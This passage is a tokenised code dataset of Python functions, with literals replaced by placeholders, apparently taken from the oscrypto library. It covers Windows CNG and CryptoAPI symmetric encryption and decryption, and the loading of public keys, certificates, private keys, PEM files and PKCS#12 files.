HCRYPTKEY)", "id": "f9494:m12"}
{"signature": "def _bcrypt_create_key_handle(cipher, key):", "body": "alg_handle = None<EOL>alg_constant = {<EOL>'<STR_LIT>': BcryptConst.BCRYPT_AES_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_DES_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_3DES_112_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_3DES_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_RC2_ALGORITHM,<EOL>'<STR_LIT>': BcryptConst.BCRYPT_RC4_ALGORITHM,<EOL>}[cipher]<EOL>try:<EOL><INDENT>alg_handle = open_alg_handle(alg_constant)<EOL>blob_type = BcryptConst.BCRYPT_KEY_DATA_BLOB<EOL>blob_struct_pointer = struct(bcrypt, '<STR_LIT>')<EOL>blob_struct = unwrap(blob_struct_pointer)<EOL>blob_struct.dwMagic = BcryptConst.BCRYPT_KEY_DATA_BLOB_MAGIC<EOL>blob_struct.dwVersion = BcryptConst.BCRYPT_KEY_DATA_BLOB_VERSION1<EOL>blob_struct.cbKeyData = len(key)<EOL>blob = struct_bytes(blob_struct_pointer) + key<EOL>if cipher == '<STR_LIT>':<EOL><INDENT>buf = new(bcrypt, '<STR_LIT>', len(key) * <NUM_LIT:8>)<EOL>res = bcrypt.BCryptSetProperty(<EOL>alg_handle,<EOL>BcryptConst.BCRYPT_EFFECTIVE_KEY_LENGTH,<EOL>buf,<EOL><NUM_LIT:4>,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL><DEDENT>key_handle_pointer = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptImportKey(<EOL>alg_handle,<EOL>null(),<EOL>blob_type,<EOL>key_handle_pointer,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>blob,<EOL>len(blob),<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL>return unwrap(key_handle_pointer)<EOL><DEDENT>finally:<EOL><INDENT>if alg_handle:<EOL><INDENT>close_alg_handle(alg_handle)<EOL><DEDENT><DEDENT>", "docstring": "Creates a BCRYPT_KEY_HANDLE for symmetric encryption/decryption. The\nhandle must be released by bcrypt.BCryptDestroyKey() when done.\n\n:param cipher:\n    A unicode string of \"aes\", \"des\", \"tripledes_2key\", \"tripledes_3key\",\n    \"rc2\", \"rc4\"\n\n:param key:\n    A byte string of the symmetric key\n\n:return:\n    A BCRYPT_KEY_HANDLE", "id": "f9494:m13"}
{"signature": "def _encrypt(cipher, key, data, iv, padding):", "body": "if not isinstance(key, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if cipher != '<STR_LIT>' and not isinstance(iv, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iv)<EOL>))<EOL><DEDENT>if cipher != '<STR_LIT>' and not padding:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if _backend == '<STR_LIT>':<EOL><INDENT>return _advapi32_encrypt(cipher, key, data, iv, padding)<EOL><DEDENT>return _bcrypt_encrypt(cipher, key, data, iv, padding)<EOL>", "docstring": "Encrypts plaintext\n\n:param cipher:\n    A unicode string of \"aes\", \"des\", \"tripledes_2key\", \"tripledes_3key\",\n    \"rc2\", \"rc4\"\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    Boolean, if padding should be used - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9494:m14"}
{"signature": "def _advapi32_encrypt(cipher, key, data, iv, padding):", "body": "context_handle = None<EOL>key_handle = None<EOL>try:<EOL><INDENT>context_handle, key_handle = _advapi32_create_handles(cipher, key, iv)<EOL>out_len = new(advapi32, '<STR_LIT>', len(data))<EOL>res = advapi32.CryptEncrypt(<EOL>key_handle,<EOL>null(),<EOL>True,<EOL><NUM_LIT:0>,<EOL>null(),<EOL>out_len,<EOL><NUM_LIT:0><EOL>)<EOL>handle_error(res)<EOL>buffer_len = deref(out_len)<EOL>buffer = buffer_from_bytes(buffer_len)<EOL>write_to_buffer(buffer, data)<EOL>pointer_set(out_len, len(data))<EOL>res = advapi32.CryptEncrypt(<EOL>key_handle,<EOL>null(),<EOL>True,<EOL><NUM_LIT:0>,<EOL>buffer,<EOL>out_len,<EOL>buffer_len<EOL>)<EOL>handle_error(res)<EOL>output = bytes_from_buffer(buffer, deref(out_len))<EOL>if cipher == '<STR_LIT>' and not padding:<EOL><INDENT>if output[-<NUM_LIT:16>:] != (b'<STR_LIT>' * <NUM_LIT:16>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>output = output[:-<NUM_LIT:16>]<EOL><DEDENT>return output<EOL><DEDENT>finally:<EOL><INDENT>if key_handle:<EOL><INDENT>advapi32.CryptDestroyKey(key_handle)<EOL><DEDENT>if context_handle:<EOL><INDENT>close_context_handle(context_handle)<EOL><DEDENT><DEDENT>", "docstring": "Encrypts plaintext via CryptoAPI\n\n:param cipher:\n    A unicode string of \"aes\", \"des\", \"tripledes_2key\", \"tripledes_3key\",\n    \"rc2\", \"rc4\"\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    Boolean, if padding should be used - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9494:m15"}
{"signature": "def _bcrypt_encrypt(cipher, key, data, iv, padding):", "body": "key_handle = None<EOL>try:<EOL><INDENT>key_handle = _bcrypt_create_key_handle(cipher, key)<EOL>if iv is None:<EOL><INDENT>iv_len = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>iv_len = len(iv)<EOL><DEDENT>flags = <NUM_LIT:0><EOL>if padding is True:<EOL><INDENT>flags = BcryptConst.BCRYPT_BLOCK_PADDING<EOL><DEDENT>out_len = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptEncrypt(<EOL>key_handle,<EOL>data,<EOL>len(data),<EOL>null(),<EOL>null(),<EOL><NUM_LIT:0>,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>buffer_len = deref(out_len)<EOL>buffer = buffer_from_bytes(buffer_len)<EOL>iv_buffer = buffer_from_bytes(iv) if iv else null()<EOL>res = bcrypt.BCryptEncrypt(<EOL>key_handle,<EOL>data,<EOL>len(data),<EOL>null(),<EOL>iv_buffer,<EOL>iv_len,<EOL>buffer,<EOL>buffer_len,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>return bytes_from_buffer(buffer, deref(out_len))<EOL><DEDENT>finally:<EOL><INDENT>if key_handle:<EOL><INDENT>bcrypt.BCryptDestroyKey(key_handle)<EOL><DEDENT><DEDENT>", "docstring": "Encrypts plaintext via CNG\n\n:param cipher:\n    A unicode string of \"aes\", \"des\", \"tripledes_2key\", \"tripledes_3key\",\n    \"rc2\", \"rc4\"\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The plaintext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    Boolean, if padding should be used - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the ciphertext", "id": "f9494:m16"}
{"signature": "def _decrypt(cipher, key, data, iv, padding):", "body": "if not isinstance(key, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(key)<EOL>))<EOL><DEDENT>if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if cipher != '<STR_LIT>' and not isinstance(iv, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(iv)<EOL>))<EOL><DEDENT>if cipher != '<STR_LIT>' and padding is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if _backend == '<STR_LIT>':<EOL><INDENT>return _advapi32_decrypt(cipher, key, data, iv, padding)<EOL><DEDENT>return _bcrypt_decrypt(cipher, key, data, iv, padding)<EOL>", "docstring": "Decrypts AES/RC4/RC2/3DES/DES ciphertext\n\n:param cipher:\n    A unicode string of \"aes\", \"des\", \"tripledes_2key\", \"tripledes_3key\",\n    \"rc2\", \"rc4\"\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    Boolean, if padding should be used - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m17"}
{"signature": "def _advapi32_decrypt(cipher, key, data, iv, padding):", "body": "context_handle = None<EOL>key_handle = None<EOL>try:<EOL><INDENT>context_handle, key_handle = _advapi32_create_handles(cipher, key, iv)<EOL>if cipher == '<STR_LIT>' and not padding:<EOL><INDENT>data += (b'<STR_LIT>' * <NUM_LIT:16>)<EOL><DEDENT>buffer = buffer_from_bytes(data)<EOL>out_len = new(advapi32, '<STR_LIT>', len(data))<EOL>res = advapi32.CryptDecrypt(<EOL>key_handle,<EOL>null(),<EOL>True,<EOL><NUM_LIT:0>,<EOL>buffer,<EOL>out_len<EOL>)<EOL>handle_error(res)<EOL>return bytes_from_buffer(buffer, deref(out_len))<EOL><DEDENT>finally:<EOL><INDENT>if key_handle:<EOL><INDENT>advapi32.CryptDestroyKey(key_handle)<EOL><DEDENT>if context_handle:<EOL><INDENT>close_context_handle(context_handle)<EOL><DEDENT><DEDENT>", "docstring": "Decrypts AES/RC4/RC2/3DES/DES ciphertext via CryptoAPI\n\n:param cipher:\n    A unicode string of \"aes\", \"des\", \"tripledes_2key\", \"tripledes_3key\",\n    \"rc2\", \"rc4\"\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    Boolean, if padding should be used - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m18"}
{"signature": "def _bcrypt_decrypt(cipher, key, data, iv, padding):", "body": "key_handle = None<EOL>try:<EOL><INDENT>key_handle = _bcrypt_create_key_handle(cipher, key)<EOL>if iv is None:<EOL><INDENT>iv_len = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>iv_len = len(iv)<EOL><DEDENT>flags = <NUM_LIT:0><EOL>if padding is True:<EOL><INDENT>flags = BcryptConst.BCRYPT_BLOCK_PADDING<EOL><DEDENT>out_len = new(bcrypt, '<STR_LIT>')<EOL>res = bcrypt.BCryptDecrypt(<EOL>key_handle,<EOL>data,<EOL>len(data),<EOL>null(),<EOL>null(),<EOL><NUM_LIT:0>,<EOL>null(),<EOL><NUM_LIT:0>,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>buffer_len = deref(out_len)<EOL>buffer = buffer_from_bytes(buffer_len)<EOL>iv_buffer = buffer_from_bytes(iv) if iv else null()<EOL>res = bcrypt.BCryptDecrypt(<EOL>key_handle,<EOL>data,<EOL>len(data),<EOL>null(),<EOL>iv_buffer,<EOL>iv_len,<EOL>buffer,<EOL>buffer_len,<EOL>out_len,<EOL>flags<EOL>)<EOL>handle_error(res)<EOL>return bytes_from_buffer(buffer, deref(out_len))<EOL><DEDENT>finally:<EOL><INDENT>if key_handle:<EOL><INDENT>bcrypt.BCryptDestroyKey(key_handle)<EOL><DEDENT><DEDENT>", "docstring": "Decrypts AES/RC4/RC2/3DES/DES ciphertext via CNG\n\n:param cipher:\n    A unicode string of \"aes\", \"des\", \"tripledes_2key\", \"tripledes_3key\",\n    \"rc2\", \"rc4\"\n\n:param key:\n    The encryption key - a byte string 5-16 bytes long\n\n:param data:\n    The ciphertext - a byte string\n\n:param iv:\n    The initialization vector - a byte string - unused for RC4\n\n:param padding:\n    Boolean, if padding should be used - unused for RC4\n\n:raises:\n    ValueError - when any of the parameters contain an invalid value\n    TypeError - when any of the parameters are of the wrong type\n    OSError - when an error is returned by the OS crypto library\n\n:return:\n    A byte string of the plaintext", "id": "f9494:m19"}
{"signature": "def parse_public(data):", "body": "if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>key_type = None<EOL>if data[<NUM_LIT:0>:<NUM_LIT:5>] == b'<STR_LIT>':<EOL><INDENT>key_type, algo, data = _unarmor_pem(data)<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if algo == '<STR_LIT>':<EOL><INDENT>return keys.PublicKeyInfo.wrap(data, '<STR_LIT>')<EOL><DEDENT><DEDENT>if key_type is None or key_type == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>pki = keys.PublicKeyInfo.load(data)<EOL>pki.native<EOL>return pki<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT>try:<EOL><INDENT>rpk = keys.RSAPublicKey.load(data)<EOL>rpk.native<EOL>return keys.PublicKeyInfo.wrap(rpk, '<STR_LIT>')<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>if key_type is None or key_type == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>parsed_cert = x509.Certificate.load(data)<EOL>key_info = parsed_cert['<STR_LIT>']['<STR_LIT>']<EOL>return key_info<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>raise ValueError('<STR_LIT>')<EOL>", "docstring": "Loads a public key from a DER or PEM-formatted file. Supports RSA, DSA and\nEC public keys. For RSA keys, both the old RSAPublicKey and\nSubjectPublicKeyInfo structures are supported. Also allows extracting a\npublic key from an X.509 certificate.\n\n:param data:\n    A byte string to load the public key from\n\n:raises:\n    ValueError - when the data does not appear to contain a public key\n\n:return:\n    An asn1crypto.keys.PublicKeyInfo object", "id": "f9495:m0"}
{"signature": "def parse_certificate(data):", "body": "if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>key_type = None<EOL>if data[<NUM_LIT:0>:<NUM_LIT:5>] == b'<STR_LIT>':<EOL><INDENT>key_type, _, data = _unarmor_pem(data)<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if key_type == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>if key_type is None or key_type == '<STR_LIT>':<EOL><INDENT>try:<EOL><INDENT>return x509.Certificate.load(data)<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT><DEDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL>", "docstring": "Loads a certificate from a DER or PEM-formatted file. Supports X.509\ncertificates only.\n\n:param data:\n    A byte string to load the certificate from\n\n:raises:\n    ValueError - when the data does not appear to contain a certificate\n\n:return:\n    An asn1crypto.x509.Certificate object", "id": "f9495:m1"}
{"signature": "def parse_private(data, password=None):", "body": "if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if password is not None:<EOL><INDENT>if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>password = b'<STR_LIT>'<EOL><DEDENT>if data[<NUM_LIT:0>:<NUM_LIT:5>] == b'<STR_LIT>':<EOL><INDENT>key_type, _, data = _unarmor_pem(data, password)<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>if key_type == '<STR_LIT>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>try:<EOL><INDENT>pki = keys.PrivateKeyInfo.load(data)<EOL>pki.native<EOL>return pki<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT>try:<EOL><INDENT>parsed_wrapper = keys.EncryptedPrivateKeyInfo.load(data)<EOL>encryption_algorithm_info = parsed_wrapper['<STR_LIT>']<EOL>encrypted_data = parsed_wrapper['<STR_LIT>'].native<EOL>decrypted_data = _decrypt_encrypted_data(encryption_algorithm_info, encrypted_data, password)<EOL>pki = keys.PrivateKeyInfo.load(decrypted_data)<EOL>pki.native<EOL>return pki<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT>try:<EOL><INDENT>parsed = keys.RSAPrivateKey.load(data)<EOL>parsed.native<EOL>return keys.PrivateKeyInfo.wrap(parsed, '<STR_LIT>')<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT>try:<EOL><INDENT>parsed = keys.DSAPrivateKey.load(data)<EOL>parsed.native<EOL>return keys.PrivateKeyInfo.wrap(parsed, '<STR_LIT>')<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT>try:<EOL><INDENT>parsed = keys.ECPrivateKey.load(data)<EOL>parsed.native<EOL>return keys.PrivateKeyInfo.wrap(parsed, '<STR_LIT>')<EOL><DEDENT>except (ValueError):<EOL><INDENT>pass  <EOL><DEDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL>", "docstring": "Loads a private key from a DER or PEM-formatted file. Supports RSA, DSA and\nEC private keys. Works with the follow formats:\n\n - RSAPrivateKey (PKCS#1)\n - ECPrivateKey (SECG SEC1 V2)\n - DSAPrivateKey (OpenSSL)\n - PrivateKeyInfo (RSA/DSA/EC - PKCS#8)\n - EncryptedPrivateKeyInfo (RSA/DSA/EC - PKCS#8)\n - Encrypted RSAPrivateKey (PEM only, OpenSSL)\n - Encrypted DSAPrivateKey (PEM only, OpenSSL)\n - Encrypted ECPrivateKey (PEM only, OpenSSL)\n\n:param data:\n    A byte string to load the private key from\n\n:param password:\n    The password to unencrypt the private key\n\n:raises:\n    ValueError - when the data does not appear to contain a private key, or the password is invalid\n\n:return:\n    An asn1crypto.keys.PrivateKeyInfo object", "id": "f9495:m2"}
{"signature": "def _unarmor_pem(data, password=None):", "body": "object_type, headers, der_bytes = pem.unarmor(data)<EOL>type_regex = '<STR_LIT>'<EOL>armor_type = re.match(type_regex, object_type)<EOL>if not armor_type:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>pem_header = armor_type.group(<NUM_LIT:1>)<EOL>data = data.strip()<EOL>if pem_header in set(['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']):<EOL><INDENT>algo = armor_type.group(<NUM_LIT:2>).lower()<EOL>return ('<STR_LIT>', algo, _unarmor_pem_openssl_private(headers, der_bytes, password))<EOL><DEDENT>key_type = pem_header.lower()<EOL>algo = None<EOL>if key_type == '<STR_LIT>':<EOL><INDENT>key_type = '<STR_LIT>'<EOL><DEDENT>elif key_type == '<STR_LIT>':<EOL><INDENT>key_type = '<STR_LIT>'<EOL>algo = '<STR_LIT>'<EOL><DEDENT>return (key_type, algo, der_bytes)<EOL>", "docstring": "Removes PEM-encoding from a public key, private key or certificate. If the\nprivate key is encrypted, the password will be used to decrypt it.\n\n:param data:\n    A byte string of the PEM-encoded data\n\n:param password:\n    A byte string of the encryption password, or None\n\n:return:\n    A 3-element tuple in the format: (key_type, algorithm, der_bytes). The\n    key_type will be a unicode string of \"public key\", \"private key\" or\n    \"certificate\". The algorithm will be a unicode string of \"rsa\", \"dsa\"\n    or \"ec\".", "id": "f9495:m3"}
{"signature": "def _unarmor_pem_openssl_private(headers, data, password):", "body": "enc_algo = None<EOL>enc_iv_hex = None<EOL>enc_iv = None<EOL>if '<STR_LIT>' in headers:<EOL><INDENT>params = headers['<STR_LIT>']<EOL>if params.find('<STR_LIT:U+002C>') != -<NUM_LIT:1>:<EOL><INDENT>enc_algo, enc_iv_hex = params.strip().split('<STR_LIT:U+002C>')<EOL><DEDENT>else:<EOL><INDENT>enc_algo = '<STR_LIT>'<EOL><DEDENT><DEDENT>if not enc_algo:<EOL><INDENT>return data<EOL><DEDENT>if enc_iv_hex:<EOL><INDENT>enc_iv = binascii.unhexlify(enc_iv_hex.encode('<STR_LIT:ascii>'))<EOL><DEDENT>enc_algo = enc_algo.lower()<EOL>enc_key_length = {<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>'<STR_LIT>': <NUM_LIT:5>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>'<STR_LIT>': <NUM_LIT:5>,<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:16>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>'<STR_LIT>': <NUM_LIT:8>,<EOL>}[enc_algo]<EOL>enc_key = hashlib.md5(password + enc_iv[<NUM_LIT:0>:<NUM_LIT:8>]).digest()<EOL>while enc_key_length > len(enc_key):<EOL><INDENT>enc_key += hashlib.md5(enc_key + password + enc_iv[<NUM_LIT:0>:<NUM_LIT:8>]).digest()<EOL><DEDENT>enc_key = enc_key[<NUM_LIT:0>:enc_key_length]<EOL>enc_algo_name = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}[enc_algo]<EOL>decrypt_func = crypto_funcs[enc_algo_name]<EOL>if enc_algo_name == '<STR_LIT>':<EOL><INDENT>return decrypt_func(enc_key, data)<EOL><DEDENT>return decrypt_func(enc_key, data, enc_iv)<EOL>", "docstring": "Parses a PKCS#1 private key, or encrypted private key\n\n:param headers:\n    A dict of \"Name: Value\" lines from right after the PEM header\n\n:param data:\n    A byte string of the DER-encoded PKCS#1 private key\n\n:param password:\n    A byte string of the password to use if the private key is encrypted\n\n:return:\n    A byte string of the DER-encoded private key", "id": "f9495:m4"}
{"signature": "def parse_pkcs12(data, password=None):", "body": "if not isinstance(data, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(data)<EOL>))<EOL><DEDENT>if password is not None:<EOL><INDENT>if not isinstance(password, byte_cls):<EOL><INDENT>raise TypeError(pretty_message(<EOL>'''<STR_LIT>''',<EOL>type_name(password)<EOL>))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>password = b'<STR_LIT>'<EOL><DEDENT>certs = {}<EOL>private_keys = {}<EOL>pfx = pkcs12.Pfx.load(data)<EOL>auth_safe = pfx['<STR_LIT>']<EOL>if auth_safe['<STR_LIT>'].native != '<STR_LIT:data>':<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT>authenticated_safe = pfx.authenticated_safe<EOL>mac_data = pfx['<STR_LIT>']<EOL>if mac_data:<EOL><INDENT>mac_algo = mac_data['<STR_LIT>']['<STR_LIT>']['<STR_LIT>'].native<EOL>key_length = {<EOL>'<STR_LIT>': <NUM_LIT:20>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:64>,<EOL>'<STR_LIT>': <NUM_LIT>,<EOL>'<STR_LIT>': <NUM_LIT:32>,<EOL>}[mac_algo]<EOL>mac_key = pkcs12_kdf(<EOL>mac_algo,<EOL>password,<EOL>mac_data['<STR_LIT>'].native,<EOL>mac_data['<STR_LIT>'].native,<EOL>key_length,<EOL><NUM_LIT:3>  <EOL>)<EOL>hash_mod = getattr(hashlib, mac_algo)<EOL>computed_hmac = hmac.new(mac_key, auth_safe['<STR_LIT:content>'].contents, hash_mod).digest()<EOL>stored_hmac = mac_data['<STR_LIT>']['<STR_LIT>'].native<EOL>if not constant_compare(computed_hmac, stored_hmac):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>for content_info in authenticated_safe:<EOL><INDENT>content = content_info['<STR_LIT:content>']<EOL>if isinstance(content, core.OctetString):<EOL><INDENT>_parse_safe_contents(content.native, certs, private_keys, password)<EOL><DEDENT>elif isinstance(content, cms.EncryptedData):<EOL><INDENT>encrypted_content_info = content['<STR_LIT>']<EOL>encryption_algorithm_info = encrypted_content_info['<STR_LIT>']<EOL>encrypted_content = encrypted_content_info['<STR_LIT>'].native<EOL>decrypted_content = _decrypt_encrypted_data(encryption_algorithm_info, encrypted_content, password)<EOL>_parse_safe_contents(decrypted_content, certs, private_keys, password)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(pretty_message(<EOL>'''<STR_LIT>'''<EOL>))<EOL><DEDENT><DEDENT>key_fingerprints = set(private_keys.keys())<EOL>cert_fingerprints = set(certs.keys())<EOL>common_fingerprints = sorted(list(key_fingerprints & cert_fingerprints))<EOL>key = None<EOL>cert = None<EOL>other_certs = []<EOL>if len(common_fingerprints) >= <NUM_LIT:1>:<EOL><INDENT>fingerprint = common_fingerprints[<NUM_LIT:0>]<EOL>key = private_keys[fingerprint]<EOL>cert = certs[fingerprint]<EOL>other_certs = [certs[f] for f in certs if f != fingerprint]<EOL>return (key, cert, other_certs)<EOL><DEDENT>if len(private_keys) > <NUM_LIT:0>:<EOL><INDENT>first_key = sorted(list(private_keys.keys()))[<NUM_LIT:0>]<EOL>key = private_keys[first_key]<EOL><DEDENT>if len(certs) > <NUM_LIT:0>:<EOL><INDENT>first_key = sorted(list(certs.keys()))[<NUM_LIT:0>]<EOL>cert = certs[first_key]<EOL>del certs[first_key]<EOL><DEDENT>if len(certs) > <NUM_LIT:0>:<EOL><INDENT>other_certs = sorted(list(certs.values()))<EOL><DEDENT>return (key, cert, other_certs)<EOL>", "docstring": "Parses a PKCS#12 ANS.1 DER-encoded structure and extracts certs and keys\n\n:param data:\n    A byte string of a DER-encoded PKCS#12 file\n\n:param password:\n    A byte string of the password to any encrypted data\n\n:raises:\n    ValueError - when any of the parameters are of the wrong type or value\n    OSError - when an error is returned by one of the OS decryption functions\n\n:return:\n    A three-element tuple of:\n     1. An asn1crypto.keys.PrivateKeyInfo object\n     2. An asn1crypto.x509.Certificate object\n     3. A list of zero or more asn1crypto.x509.Certificate objects that are\n        \"extra\" certificates, possibly intermediates from the cert chain", "id": "f9495:m5"}
